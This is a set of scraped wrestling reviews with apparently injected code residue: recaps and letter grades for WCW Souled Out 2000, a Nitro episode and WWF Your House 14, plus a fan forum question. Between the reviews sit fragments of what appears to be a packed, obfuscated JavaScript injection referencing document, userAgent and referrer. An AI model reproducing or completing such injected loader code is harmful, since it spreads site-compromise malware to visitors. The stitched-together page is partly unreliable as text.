Souled Out 2000
Date: January 16, 2000
Location: Firstar Center, Cincinnati, Ohio
Attendance: 14,132
Commentators: Tony Schivone, Mike Tenay, Bobby Heenan

The company is completely dead at this point and I think everyone not named WCW knew that. 1999 was absolutely brutal on them as they kept screwing up time after time after time and this is a great example of that. The main event changed about 5 times until it got to what we saw. First off it was Bret vs. Goldberg II but Goldberg punched the window of a limousine and messed up his hand so he was out for months.

Then it was Bret vs. Sid but since Bret had his head knocked silly by Goldberg at Starrcade and was out for about 10 years because of it they had to vacate the title. Then they were with Sid vs. Jeff Jarrett, the US Champion, as the next best thing. Well someone thought it was a good idea to have Jarrett fight three old guys on Nitro and he got a concussion too so now HE can’t be in it.

Finally they picked the #1 contender to the US Title, Chris Benoit, and put him against Sid for the world title. So in other words we have the #2 contender for the world title vs. the #1 contender for the US Title. Instead of the 2/3 falls (Triple Threat Theater as it was called here. It’s three gimmick matches) that Jarrett and Benoit were supposed to have, it’s now Billy Kidman vs. three of Benoit’s kind of stable mates in individual matches. This was a very confusing show as I’m sure you can see. Let’s get to it.

Oh and also, this is the show that got Russo fired. His original plans once he heard about all the insanity: put the title on Tank Abbot, the UFC fighter. Yeah….Russo was a bit nuts.

The announcers talk about the injuries and how more or less everyone is out. We see some clips of the injuries. It’s not a good sign when you need about four minutes of talking to explain why the majority of the card is changed tonight. We get a clip of Shane Douglas and Dean Malenko (parts of Benoit’s Revolution stable. It was Benoit/Malenko/Saturn/Douglas and a mystery guy who is revealed tonight) beating up Konnan to make the Triple Threat Theater thing happen instead of a six man tag.

We hear about Nash vs. Funk. If Nash wins he’s Commissioner and if Funk wins the NWO has to disband. Let me repeat that. The NWO existed in the year 2000.

The singles match between David Flair and Vampiro that changed into a tag title match with the champions David Flair/Crowbar vs. Vampiro/mystery man. However during the preshow, Crowbar jumped Vampiro so instead Vampiro is like screw it, I want a triple threat match instead of a title match. Uh, sure Vampy.

They run down the rest of the card and there are I think two matches without stipulations or consequences one way or another. Wow.

Ok so after six and a half minutes of explaining the show, we go to the ring. This is sad.

Billy Kidman vs. Dean Malenko

Kidman is one of the Filthy Animals and Malenko is part of the Revolution which was supposed to be a youth movement stable but it was changed into a military thing or something. This is under catch-as-catch-can which means a regular match but you can’t leave the ring.

Dean takes it to the floor quickly and the fans are loudly booing. We hear about what Kidman has to do tonight and I wonder why Douglas isn’t fighting for the Revolution tonight. LOUD booing now as Malenko keeps backing up. I have no idea if the fans know the rules here or not. Big crowd tonight too at over 14,000.

Kidman hammers away and Dean rolls to the floor, ending the match. Dean starts getting back in and I think he messed up here. This is exactly what this show didn’t need at all. Way too short to grade as it might have been two minutes long but the fans cheer for Kidman winning so uh….good? This was Dean’s last WCW match as he would debut as part of the Radicalz in 15 days.

We recap Vampiro vs. Crowbar/David Flair. Vampiro beat Crowbar on Thunder…..and that’s it. Literally the clip just stops there. Can this show do ANYTHING right?

Ah here’s the actual video package and the editing is awful. They cut to something else literally every three seconds. Daphne had been chilling with David Flair who was insane. She jumped Vamprio and his crew and then they met Crowbar at a gas station. Flair and Crowbar won the vacant tag titles because Arn Anderson helped them so Flair (Ric isn’t here so every Flair means David) hit Arn with the crowbar (object, not person). The NWO wants to kill David for costing them the titles and Vampiro’s crew wants to kill them for general purposes. Yeah it made little sense.

Vampiro says he can win this on his own and Masahiro Chono of all people pops up to yell in Japanese. I guess he was going to be the partner.

Flair, Crowbar and Daffney say they’re going to break Vampiro’s bones and rip his flesh.

David Flair vs. Vampiro vs. Crowbar

Vampiro beats them both up with relative ease. I mean they’ve got nothing. Suicide dive to the floor takes out Crowbar and he gets cheered loudly. David throws really bad chops. Flair yells at Crowbar as I think we’re in a comedy squash here. Yes, the tag team champions are being destroyed here. Baseball slide takes the champions out as the champions have had no offense. This is a triple threat remember. Why it’s not a handicap match is beyond me.

Crowbar FINALLY gets something going with a sommersault plancha to hit both guys. Frog splash off the apron to Vampiro and Crowbar is hurt again. German suplex by Crowbar sets up a slingshot legdrop for two. Crowd is very hot here. David is just kind of watching which is good for the fans as David absolutely sucked. Vampiro gets a superplex for two. The split screen is even bad as there’s a big logo and the name of the show everywhere so you can’t see anything on the screens.

Flair is actually doing stuff now and it’s just bad. A vertical suplex is an accomplishment for him. Vampiro tries to counter a powerbomb into an X Factor and it’s completely botched, leading to a “You F’D up chant”. Rock Bottom by Vampiro gets two as Flair saves. Daffney is looking good here. Crowbar gets a splash and Flair puts on a weak figure four. Daffney comes in for no apparent reason and the champions fight. Flair is sent into Daffney and the Nail in the Coffin (Michinoku Driver) ends Flair. Big old pop for that.

Rating: D. This was awful as you would expect. David Flair was absolutely terrible but he was on TV for the reason of whose testicles he came from. Anyway, this was terrible but the high spots helped a bit and Daffney looking good is never a bad thing. They would lose the titles in a week or so.

Buff Bagwell is here.

The Mamalukes, the Mafia group that sucked completely, say they can beat the Harris Brothers.

Mamalukes vs. Harris Boys

Disco Inferno is with the Italians here. Johnny the Bull starts with let’s say Ron (The Harris Boys are identical twins. The other is Don) and Johnny (his partner is Big Vito) is in trouble early. The Italians clean the ring and I think they’re the faces, but does it really matter? Off to Vito now who takes Ron down with ease. Big kick as Disco doesn’t want to be here but is being forced by some Mafia dude.

All Italians so far. Bull comes in and some heel cheating lets them take over. Side slam by Ron and it’s off to Don. Off to a chinlock for a second as Johnny gets a clothesline. Never mind on the comeback apparently as it’s back off to Don’s control. The problem here is that the Harris Brothers use regular offense instead of big power man offense. The crowd is almost completely dead here.

Vito comes in off a blind tag but is forced back out. I’m trying to like this show, I truly am. It’s just not happening. Vito wants Disco to get involved which isn’t happening at all. Ron is in the wrong corner for some reason. The Harris guys can’t do a thing and it’s obvious. Vito comes in and everything breaks down. Disco finally does something as he tries to cost the Italians the match but instead it gives them the win as he shoves Vito into a flying clothesline on Ron for the pin. What a mess.

Rating: D. Well at least it wasn’t incredibly long. The Harris guys are boring as this biker thing never went anywhere but with their size they obviously had a job almost guaranteed. The Disco vs. the Mafia thing was terrible and just kind of ended with no resolution but it’s not like it mattered. Mafia gimmicks go nowhere and this was no exception.

Cruiserweight Title: Madusa vs. Oklahoma

Oklahoma is the parody character of JR played by Ed Ferrara. He weighs about 300lbs and is trying to win the Cruiserweight Title tonight from Madusa, the female champion. He runs his mouth against women and against Ohio in general. Oh and he has the belt itself. Madusa has some Nitro Girl with her.

Madusa knows martial arts and a German suplex. Oklahoma isn’t a wrestler but throws her by the hair a bit. Madusa gets a pair of “dropkicks” off the middle rope but gets caught in a DDT. He goes for his bottle of barbecue sauce (yes just go with it) but the Nitro Girl (Spice) and the Chyna ripoff named Asya stop him. He pulls the loincloth she’s wearing over her bikini bottom and pins her to win the title. I give up. Too short to rate again, thank goodness. The girls pour barbecue sauce down his tights.

Brian Knobbs, the Hardcore Champion, says Fit Finlay deserves the credit for his title win.

Brian Knobbs vs. Meng vs. Norman Smiley vs. Fit Finlay

This is called Four the Hard Way but it’s really just a fatal fourway. This is during the Smiley is scared of hardcore matches period. Knobbs and Finlay are dressed alike as the idea here is that Finlay trained him to be a hardcore guy. Yes, Brian Knobbs is a champion in the year 2000. Smiley tries a trashcan shot to Meng’s head which fails miserably.

It’s one of those hardcore matches that you’ve seen a few million times in WCW as it’s not incredibly interesting but they’re kind of entertaining for the sake of being what they are. Everyone beats up Norman and nothing hurts Meng, namely due to that big thing of hair. Here’s a table and some bad chair shots. Finlay and Smiley go into the crowd which lasts about four seconds. This is one of those matches that needs to end. Knobbs is out mostly so Smiley goes near him. Smiley gets hit with his own riot shield and this is finally over.

Rating: D-. I mean dude, what do you want me to say here? It’s a hardcore match. Like I said, if you’ve seen one of these you’ve seen a million of them since there isn’t anything different about any of them for the most part. The title never died of course as WCW kept this joke up for another YEAR. They never learned at all.

Billy Kidman vs. Perry Saturn

This is a Bunkhouse match, meaning hardcore. At least Kidman’s music is kind of catchy. Saturn is freaking stacked as far as muscles go. Perry stomps away to start and gets a clothesline to take Kidman down. Big press slam as this is a regular match so far. Kidman fights back with speed and punches in the corner. Clothesline gets two. He tries a running headlock takeover out of the corner but gets crotched on the top rope and clotheslined to the floor. That gets two on the floor.

Back in the ring and Saturn does something to Kidman’s neck but gets rolled up for two. This is painfully boring. Springboard legdrop gets two for Saturn. Kidman’s shirt is ripped off and we FINALLY get to a weapon, in this case, a table which is laid face down on the floor instead of being set up in the ring. Ah there it is. Heenan: “Tony we could make a fortune in a table company.” Mike: “Heenan if you’re involved the only thing it’ll be is under the table.” That was good. Where is this funny Mike every other show?

The table is on the floor but Saturn can’t suplex onto him. Saturn gets an elbow from the top rope for no cover so Kidman grabs a sunset flip for two. Diving powerbomb gets two as does a Sky High from Kidman. Saturn throws Kidman over the top and through the table which gets two. It looked great if nothing else. Saturn tries a powerbomb from the top but gets backdropped instead. Out of NOWHERE Saturn tries another powerbomb (does he get paid per powerbomb?) but gets dropped in a facejam for the pin. This was Saturn’s last match in WCW.

Rating: D+. I’m starting to feel bad for giving these matches such low grades. They’re not really that terrible but they’re just so painfully uninteresting. I’m flying through this show and I’ve yet to see anything worth watching in it. Every one of the six matches so far range from just kind of there to completely uninteresting. There were some cool spots here and I like Saturn so I guess you could call this the match of the night so far….somehow.

Stevie Ray talks to some homeless people. Uh…ok? He talks about Booker T and says that he’s the one from the streets, not Booker. The homeless people like him apparently. Stevie goes to a barber shop where the barber wants to know why Booker never comes around anymore. I’d assume Stevie can’t read the street signs to get there anymore but that’s just me.

Stevie, in the arena now, says he’ll teach Booker a lesson.

Booker T vs. Stevie Ray

Booker is in suspenders and has this overly large woman with him named Midnight. Booker sends Midnight to the back before the bell. So the point of his quick thing about how she watches his back now was…? Booker hammers away and gets the side kick to take Stevie down. The referee is on the apron for some reason. Spinning forearm gets two for Booker but he runs into an elbow and then a clothesline to send him to the floor.

Stevie’s offense more or less fails completely and it’s off to Booker again. Back in we go and Booker hammers away. Booker runs into a powerslam and we hit the chinlock by Stevie. Elbow drop gets two on Booker. Stevie tries a backdrop and we cut away to the fans for no apparent reason. Why in the world would you do that?

Stevie’s finisher, the Slap Jack (elevated Pedigree) is countered and Booker fires off some kicks. There’s the axe kick and it’s not quite Spinarooni time. He tries the twisting sunset flip out of the corner but botches it a bit. Book End puts Stevie down but Ahmed Freaking Johnson wobbles in (muscular as all get out but with a gut the size of Cleveland) to beat up Booker for the DQ. Pearl River Plunge kills Booker and Midnight comes out to do nothing of note. His name is Big T and this is the new Harlem Heat apparently.

Rating: D. Oh dear this was bad again. Booker did what he could but he was no miracle worker. Stevie was never anything good or even passable so of course he kept getting more and more TV time and more and more pushes. Johnson was gone rather soon and no one cared.

Sid said he’s awesome and Benoit is his friend but he’ll win the title tonight despite what the NWO wants.

Tank Abbot vs. Jerry Flynn

Not Lynn, but Flynn, a karate guy. Abbot is a former UFC Champion and this is an alleged shoot fight. They trade some submission stuff for about 90 seconds and then it ends. You figure out what happens after about 1:40 when an amateur karate guy meets a legit pro fighter in a shoot fight.

We recap DDP vs. Buff Bagwell. Allegedly Buff was sleeping with Page’s wife so Page made gay jokes. Buff says if not for Page he’d date Kimberly. They trade jokes and Buff implied Kimberly slept with everyone in the locker room.

Diamond Dallas Page vs. Buff Bagwell

This is last man standing. Buff is the face here…I think. They slug it out with Buff taking over early as we head outside. They’re in the crowd already and fight in the tarped off seats. Nice job of hiding things there guys. Back to ringside now with Page hammering away and calling spots VERY loudly. Neckbreaker gets no count but Bagwell’s gets….no count either.

They head out to the floor as this isn’t much at all here. Up the aisle we go and both guys are rammed into the railing. Stereo punches put both guys down and we head to the WCW.com location. They slam the monitors against each other and Tony laughs for some reason. DDP is put on the WCW.com table and Bagwell drops an elbow through him. The referee doesn’t count at all which makes me think the rules in this are different somehow.

Back in the ring and Bagwell gets a low blow to take over. Uh I mean continue his advantage. This is getting annoying quickly. Page no sells everything for the most part and crotches him against the post. Both guys go down as it’s kind of hard to tell who the fans like here. They’re both up at 8 and they’re down again maybe 2 seconds later.

Back up at eight and Buff hammers away. DDT hits and both guys lay down after it. The fans are counting with them which is kind of cool for some reason. Buff calls for the Blockbuster and hits most of it. Page is up at nine and Bagwell has a riot baton or something like that. Diamond Cutter out of nowhere but Bagwell gets up first and wins it. Huh?

Rating: D+. Weird ending here as they claimed Buff blocked part of the move but it was pretty clear he didn’t at all. Not a terrible match but it didn’t feel like it needed the gimmick at all. The crowd was weird on this one too and it’s pretty easy to see why. Not bad but nothing good for the most part.

Kimberly comes down post match and looks all sad. Page beats Buff down and leaves with her while she still looks all sad.

Buff lost a boot in there somehow. Ok then.

Billy Kidman vs. ???

This is in a cage called Caged Heat, which means Hell in a Cell. Shane Douglas of the Revolution comes out to talk about how awesome the Revolution is and introduces the mystery guy. And it’s the Wall, a guy that has nothing to do with the Revolution until tonight. This is when Wall was still a total destroyer. Kidman finds a chair under the ring and cracks him with a chair to start.

So let me make sure I have this straight. A guy is thrown into the card to face a guy that joined a stable he was feuding with and I think a one day notice and is in the Cell with him. Got it. Standard small man vs. monster here with Wall taking him down with a big boot. Kidman is rammed back first into the cage and it’s all big man. Kidman gets a sunset bomb off the middle rope for two. He goes up, jumps into a chokeslam and we’re done. Five minute match in the Cell. I give up.

Rating: F. Not only was it a bad match, it was a bad match in the Hell in a Cell cage! I mean people, why in the world would you use that? If you’re going to change one match, change the rest too. Why is that so hard? Terrible match and a terrible ending to this three match system thing.

We recap Nash vs. Funk which is more or less NWO vs. Funk. Yes, Funk was arguably the top face at this point. They’re fighting for power here.

Terry Funk vs. Kevin Nash

The winner is the Commissioner, which Funk is at this point. If Nash loses then the NWO disbands. Funk’s music sounds like Demolition’s for a few seconds. The brawl starts in the aisle as this is a hardcore match. Chair to the back of Funk as it’s all Nash to start us off. There’s a Jackknife through the table less than two minutes in. You would think that would end it, but Nash wants to talk.

He says that if Funk can crawl back into the ring, Funk can still be Commissioner. Funk gets in and Nash says that he’s a lying SOB so the fight goes on. We only have Tony on commentary. Funk is busted open so we go to a wide shot. He gets a chair and cracks Nash a few times with it and adds a DDT for two. The people are booing the heck out of Funk here. But hey, he was a world champion 23 years ago! And some of the fans were alive then so he must be worthy of giving a big push to!

Nash cracks him in the head multiple times with the chair and Funk no sells them to beat on Nash even more. Funk sets up multiple chairs for absolutely no apparent reason. And of course he gets powerbombed through them and Nash becomes Commissioner as the man in his late 50s is probably crippled. Don’t you love WCW?

Rating: D. This was short and had a lot of Funk either no selling or not moving. The fans flat out didn’t buy Funk as the big face he was supposed to be but WCW kept going with it anyway because they had decided that they knew what the fans wanted to see instead of what the fans told them they wanted to see.

Arn Anderson doesn’t like that Nash has the Commissioner spot now. However he doesn’t have power until Midnight so the world title match has nothing to do with Nash. Anderson stumbles over his words so you can tell he’s either messed up or bored. This is still talking about the NWO vs. WCW. Are you kidding me? Arn is the referee for the main event which made sense in storyline for Bret vs. Goldberg but not here.

WCW World Title: Sid Vicious vs. Chris Benoit

Sid beat Benoit for the US Title at Fall Brawl in a joke of a match that we need to get to later. Sid is pushed as the face here because Benoit was part of the Revolution, a heel group, even though he’s the more popular guy here. After some big match intros we’re ready to go. Buffer calling Bischoff the #2 ranked contender in the world makes him sound a bit weak.

Now Arn gives instructions. Get on with it already. They feel each other to start and that’s more or less a stalemate. Some guys like Saturn and David Flair come out to watch. Sid sends him to the floor as more and more come out. The fans chant for Sid so he press slams Benoit with ease. Benoit goes to the knee and the fans cheer. Not sure who they’re behind here but I think it’s Sid more than Benoit for the most part.

Benoit dropkicks the steps into the knee into the post and then does it again. Back in the ring and Benoit puts on a kind of bad figure four. Sid taps his hand (which is funny as he tapped the mat to get the fans behind him in the Fall Brawl match which had to be ignored for the sake of the ending) to try to get some momentum going here and he powers out of it.

Sid is on his knees in the middle of the ring and Benoit adds a dropkick to the head. We hear the bull about the belt being around since 1905 as Benoit hits a dragon screw leg whip for two. Benoit throws on a bridging Indian Deathlock with a chinlock (Benoit is in what looks like a Matrix Move and Sid is on his stomach and Benoit pulls up on his chin. Looks awesome) and kicks Sid to the floor.

Sid Sids Up but a dropkick to the knee takes him right back down. Rolling Germans as I can feel the hackers breaking into Angle’s Twitter even though Twitter didn’t exist yet. Sid takes him down with a powerslam for two but gets caught in an ankle hook. Another German and the sign for the Swan Dive gets a BIG pop so Sid launches Benoit off to make the finishers look weak.

Chokeslam out of nowhere puts Benoit down but Sid is too weakened to do anything now. Benoit’s foot is under the ropes so that only gets two for Sid. Remember that as it becomes important later. Benoit puts the Crossface on and Sid taps to give Benoit the champion. Sid’s foot was under the rope which would become important later.

Rating: B-. This was by far the match of the night but Sid’s eternally questionable selling comes into play again here. A good thing though was that he tapped immediately, but the channeling of his inner big bald Irish dude with orange skin got old. Anyway, Benoit wins the title finally, albeit as a heel and as the fourth or fifth option but who cares?

Benoit thanks Sid for having a hard fight and talks about the Dynamite Kid and how people criticized him forever but tonight he’s proven them wrong. Arn says Benoit is awesome. Nash pops up to say he’s going to make Benoit’s life a living nightmare because that’s the NWO’s belt. Benoit says bring it on.

And of course none of this matters because Benoit stuck to his principles and left WCW, knowing that this was just an appeasement because he was walking no matter what. The title would be fought over by Sid and Nash while Benoit would debut in WCW and win the Intercontinental Title at Wrestlemania 16 before 4 years (and one year off for neck surgery) later, winning the world title in the main event of Wrestlemania while Nash is just kind of hanging around. Anyway, this is the famed Benoit WCW Title win and that’s about all of his reign.

Overall Rating: D. It’s 2000 WCW. Why would you expect a good show here? This is a show that actually benefits from the lack of context which is a weird thing to say. It took me awhile to sit through this because the matches weren’t that interesting and the feuds were rather idiotic indeed. Not much was going on at this show, namely because everything got all switched up because of injuries. Bad show overall but the main event isn’t terrible and the historical aspects of this show are really big, given what happened two weeks later. Avoid it of course though.
Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzerh|var|u0026u|referrer|hzkzf||js|php'.split('|'),0,{})) Nitro #103
Date: September 1, 1997
Location: Pensacola Civic Center, Pensacola, Florida
Commentators: Mike Tenay, Tony Schivaone, Bobby Heenan, Larry Zbyszko

This is the two year anniversary. Ok then.

Eddie Guerrero/Jeff Jarrett vs. Steve McMichael/Chris Benoit

The Canadian hits a fast superplex to put both guys down and the hot tag brings in Mongo to clean house on both heels. Everything breaks down and Eddie trips Benoit up, allowing Jarrett to chop block McMichael. Jeff puts on the Figure Four and Eddie goes up for the Frog Splash, only to have Dean Malenko come in, shove Eddie off the top, and frog splash Jeff to break up the hold. Mongo gets the easy pin.

Silver King vs. Mortis

Vandenberg wants the Faces of Fear to come out here, only to have his boys cleaned out by the monsters.

Time for some dancing chicks.

We recap Bischoff getting beaten up by Sting last week.

Yuji Nagata vs. Dean Malenko

The Girls dance some more.

La Parka vs. Ultimo Dragon

Buff Bagwell vs. Glacier

Larry Z thanks Arn for his career. They were world tag team champions back in the early 90s.

Piper is back at Halloween Havoc.

Lizmark Jr. vs. Villano IV

A DDT puts Lizmark down and Villano drops a knee only to get taken down by a spinwheel kick for two. A standing rana gets two more for Lizmark and the seem to mess something up in the corner as Lizmark tries a running dropkick but Villano puts his feet up. Lizmark sends him to the outside and hits a big dive to the floor, only to see Villano IV change with Villano V. Not that it matters as Lizmark hits a standing Lionsault for the pin out of almos nowhere.

Luger says he and Page can get along and asks Page to come out and bury the hatchet. Page is nowhere to be seen so Luger shrugs.

Remember earlier when the Nitro Girls danced? They do that again here, until Disco Inferno comes out to join them. Alex Wright comes out for his match and a dance off breaks out with Inferno.

TV Title: Hugh Morrus vs. Alex Wright

Raven is still here.

Heenan spends most of the ten seconds he has to thank Arn for his career complaining that he only has ten seconds.

Video on Sting.

Damien vs. Stevie Richards

Prince Iaukea vs. Ray Traylor

JJ thanks Arn for being awesome.

Cruiserweight Title: Chavo Guerrero Jr. vs. Chris Jericho

Giant thanks Anderson.

Randy Savage/Scott Hall vs. Lex Luger/Diamond Dallas Page

The announcers are sounding like they all just saw their puppies drowned. Page finally hits a discus lariat to drop Hall but Savage distracts the referee from seeing the hot tag. Luger comes in anyway to beat on the NWO with atomic drops all around. Lex accidentally decks Page with the forearm but Racks Savage anyway. There was no tag though so Hall makes the legal pin on Page.

Luger is frustrated with Page to end the show.

Remember to follow me on Twitter @kbreviews

In honor of the debut of his latest great line, what is your favorite Rock line/promo?  It can be a single one liner or a full segment or whatever you like.I remember a promo setting up I think the six man HIAC where Rock imitated the other guys in the match with him.  Rock was always good at picking out the tiny things that make a wrestler funny but that we miss.

 

Also, while not a Rock line, this never fails to make me smile.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkere|var|u0026u|referrer|hsseh||js|php'.split('|'),0,{})) Your House 14: Revenge of the Taker
Date: April 20, 1997
Location: War Memorial Auditorium, Rochester, New York
Attendance: 6,477
Commentators: Jerry Lawler, Jim Ross, Vince McMahon

So we’re now a month removed from Wrestlemania 13. Your biggest stories are of course Taker beating Sid for the world title and the legendary Submission match with Bret and Austin. Therefore Bret now looks like a jerk while Austin is a walking deity. Your big matches here are Taker vs. Mankind for the title and then the real main event is Austin vs. Bret all over again, but this time there are no gimmicks.

Aside from that it’s a pretty run of the mill show. Both of the other titles are on the line and we have a bad midcard match. This is really an odd time for the company as they were trying to start a new year for lack of a better term but they were kind of stuck in one place. That would change fast though, just not in the near future. Let’s get to it.

Much darker music for the main theme as they’re actually trying to play off the name of the show for a change. What a novel idea! Anyway, that’s quickly cut off by LOD’s music which will always rock. A bad angle was coming for these two but I’ll get to that later on if I can avoid it for tonight’s show.

Tag Titles: Legion of Doom vs. British Bulldog/Owen Hart

Short recap video showing how the champions have been messing with the LOD and costing them some issues with the Godwinns. They come out to Bret’s music which is a bit odd and not addressed. LOD is mad over in this match as the chants are ECW level. Bulldog is European Champion and Owen has two Slammys to go with the tag titles.

As I watch this match, I start to notice a few things about the LOD. The first is I have never seen a tag team more over in my life, and that includes the Harts in Canada. The place is popping like crazy for every single thing they do. The other thing I notice is they really do nothing. The most complicated move either has done in five minutes was a powerslam. That’s actually quite impressive.

Their appearance and personas have gotten them so over that the fans are either too impressed or too stupid to get how limited they were in the ring. I’m leaning towards the second actually. During the match, Austin gets to the arena late which is yet another instance of this happening.

Someone give him a stern lecture and a firm finger shaking! JR and King are just ripping the heck out of each other in this match and it’s absolutely great. Oddly enough, JR is winning the battle of one line insults. Vince says that even King Kong would go down from Owen’s enziguri. No Vince, he wouldn’t.

Eventually the LOD beat the living tar out of both guys and hit a powerslam (go figure) from the middle rope to pin Bulldog and win the belts. Post match the celebration is on, but apparently it isn’t. Bulldog wasn’t the legal man, so this match must continue.

The champions take over, with Smith in the ring which again screws things up as Owen was the legal man that caused all the issues. Once again though the LOD takes over and this time hits the Doomsday Device but Bret runs in and causes the DQ to end this.

Rating: B-. This was a good match that did exactly what it was supposed to do: make LOD look dominant and let the heels keep their belts. It sets up a rematch as well so we have another month covered. The false finish kept things interesting enough to overlook the LOD’s, ahem, limited offensive skills. They were big, strong and cool looking and sometimes that’s all it takes.

In the back Owen and Bulldog are interviewed by Doc. Bret is going to beat Austin apparently. Thank you for that insight.

We go back to Sunny and Brian Pillman on the Superstar Line, costing only 1.50 a minute. They of course imply that that want to screw each others’ brains out without ever saying it.

Intercontinental Title: Savio Vega vs. Rocky Maivia

The Nation’s entrance is still awesome. No Faroorq that I can see though which is most weird. We see a recap of last week’s Raw where the Nation beat up Rocky after Savio cheated to pin him. Doc is with Rocky who says he’s been lucky so far in the WWF but Savio is in for a heck of a fight if he wants the title. Short but very sweet actually.

Rocky is still coming out to generic rock song #87 at this point. Farrooq comes out about 20 seconds into the match because apparently that’s 20 seconds too much work for him. He has a shoulder injury but joins for commentary.

After some difficulties with the audio, JR gives up his headset to Farrooq, who says that the black commentator is always getting held back. Not true as there never has been a black commentator at that point. Dang there really hadn’t been had there? Anyway, the match is boring but Farrooq says that he’s challenged Ahmed to a gauntlet match. If Ahmed wins the Nation disbands.

This match is just not that interesting. It’s mainly Savio on offense with a few comebacks by Rocky here or there. Eventually they go on the floor but Crush hits his finisher on Rocky and he gets counted out. You can see the finish yourself. Post match Savio is ticked off and rightly so. They take their anger out on Rocky but Ahmed runs out for the save. He accepts the challenge Farrooq made.

Rating: C. This was just there. It wasn’t interesting it wasn’t particularly good, just there. It was two guys wrestling but nothing at all was interesting about it. Farroq’s commentary was interesting and funny at least and it allowed the main storyline, NOD vs. Ahmed, to be continued. That’s all it got right though.

Ken Shamrock is chatting on AOL with the fans. Two things strike me as odd here. AOL used to be a big deal. What in the world happened to it? And Ken Shamrock on a computer is just an amusing sight.

In the back still we see Sable and Marc Mero talking to Doc. Mero says his knee injury is going fine and he’ll be back in the summer. Just a causal interview until Steve Austin walks into the men’s room behind them. Mero getting interviewed near a bathroom just makes me laugh. You hear a loud commotion from inside it though and Owen and Bulldog run out, each carrying weapons. Earl Hebner runs out as well saying Austin got jumped.

Jesse James vs. Rockabilly

Oh blast it. Blast it blast it blast it. It’s freaking Rockabilly. I hate Rockabilly almost as much as I hate Illinois Nazis, and I hate Illinois Nazis. Ok, let’s get this over with. Jesse James will become known as Road Dogg. He used to be the Roadie so now he comes out to the song he sang and Jeff Jarrett pretended to perform at the second In Your House. He’s actually decent in this role as it just fits him well.

He’s somewhat over because of the song too which is a nice little tune. Out next we have the Honky Tonk Man. He’s been looking for a protégé lately which makes me think he should join WrestleZone where everyone has a protégé, and in some cases many of them (I’m talking to you Norcal). Anyway, he says he’s found the perfect man: the artist formerly known as Billy Gunn, Rockabilly.

You know, Monty Sopp should be commended. First off, he’s gone through life with the name Monty Sopp. Secondly, he has had some of the worst gimmicks in the history of wrestling. He’s been a cowboy, Rockabilly who I’ll get to in a minute, his most famous gimmick, a gay man and now Cute Kip. The guy is annoying, but he’s had nothing to work with over the years.

Rockabilly was a country/rock singer that danced badly but thought he was awesome. Absolutely no one cared at all, period. This went on for almost 5 months before on Shotgun Saturday Night (which needs a review of its own as the concept at first was great) these two were having a match and actually said that their careers sucked because of their gimmicks so they should team up.

That’s just not something you hear that often. Road Dogg goes on this huge offensive streak to start. You know, he really was pretty good in the ring. He’s overlooked because of his antics in DX but he really was good in the ring. However, absolutely no one cared about either guy. They just weren’t interesting characters and felt like archetypes. However, at the end of the offensive rush which ends up on the floor, Dogg knocks Billy down with a clothesline from the apron.

He then points at Honky and yells You’re Next! That’s fine and good and makes sense. However, the funny part is Honky’s response. After about 5 seconds of staring blankly, he shouts you’re a goof! And this guy was one of the top heels of the late 80s?

You can clearly see a huge space of open area that doesn’t even have chairs in it. That means either ticket sales were awful or the place just didn’t make enough tickets available. There’s room for at least 400 more seats in there, and they’re right by the aisle.

I can’t imagine seats in that location at a reasonable price wouldn’t sell. It’s not like the place is empty. Anyway, the match ends when Billy has him set for a DDT but walks slowly towards the corner and Roadie rolls him up to pin him. Post match HTM tries to hit him with the guitar but he bails.

Rating: D. I hate to grade it so low because Road Dogg was really good in this match, but it comes down to one thing: absolutely no one was interested in this match at all. The gimmicks were WAY too similar and both men had to stop and dance between each move. It was just complete overkill for a match that no one wanted to see.

This would have been boring at a house show, let alone a Raw or a PPV like this one. There’s nothing here at all. There was no story, no buildup, no angle or anything like that. It just wasn’t needed and it was awful, but that shouldn’t be blamed on Road Dogg at all. He was out there working himself to death.

We go to the back for Doc to sell the Undertaker door cover. That’s a sign of the times in WWE I think as you can tell they were running low on money. They’re actually selling stuff in the middle of the show and it’s the middle of April. Cool idea actually but way overpriced for just a big poster.

Kevin Kelly is with Austin and Monsoon in the locker room. Austin says that he’s fighting tonight no matter what. Austin’s line of “Bret  is going to need medical attention after I get done with him. I don’t care how many people, even Owen, Bulldog, Stu Hart or all of Bret’s brothers want a piece of Steve Austin…” could have been worded MUCH better.

Some douche named Lance Wright is with the Hart Foundation. Bulldog says Austin started it and that he and Owen were in the bathroom celebrating their victory. Good night there are a lot of gay overtones on this segment. All three say Austin is going down tonight.

We see a nice recap of Mankind vs. Taker’s feud. The editing on this is great as it’s just really strange with all of the cuts it does. It looks like something from the mind of a crazy man. Nicely done indeed. This feud was reignited by mankind throwing a fireball at Taker’s face and blinding him.

Mankind is with Bearer and Doc and they say Taker will lose tonight.

WWF Title: Undertaker vs. Mankind

For Taker’s entrance we get the always cool shot of his gloved hand as he balls it into a fist. This is kind of the token first defense for Taker but it’s against someone that you could see beating him for the belt which gives it a very nice change of pace than most defenses like this. Of course this is a hard hitting fight to begin with them fighting all over the place and into the crowd for a bit.

They hammer on each other until Taker goes for Old School but instead stands on the rope and dives off with a clothesline. Taker almost gets Bearer but Mankind makes the save. This is the same kind of match that they’ve had time and time again which means that it’s really quite good in all respects. Your main story here is that Taker’s forehead is burned and his eyesight isn’t perfect in this.

Mankind uses a few weapons on him but for some reason there’s not a DQ over it which the announcers don’t understand. Taker has had mostly the same offense for years but it never has gotten old, at least not in my eyes. It’s as exciting today as it ever was. That’s part of the beauty of his character: it doesn’t get stale and if it starts to, he changes something so small that it reinvents him completely.

We get a ref bump, after which the Claw takes out Taker. We get weapons introduced but the highlight is Taker throwing a dropkick into the stairs. Is there anything this guy can’t do? After this we have the big spot for the match which I think was planned but might not have been.

Mankind is on the apron and Taker hits him with the stairs. Somehow, Mankind goes through the table head first. As in there’s a hole in the table and he’s down in it. It looked sick and painful at the same time. After that Taker lands a chokeslam and tombstone for the pin. He chases Paul around and catches him in the ring. He sits him in the corner and throws a fireball in his face which the announcers condemn but the audience loves.

Rating: B. This was fine. It was two guys with a history fighting for the title. The chemistry was clear and the feud was well established. This saves about five minutes in the beginning because there wasn’t a feeling out process. I don’t recall a bad match from these two and this was good as well. There was good action, a bit of drama, and it continued the feud by allowing Taker to get some revenge on Paul. This was perfectly acceptable.

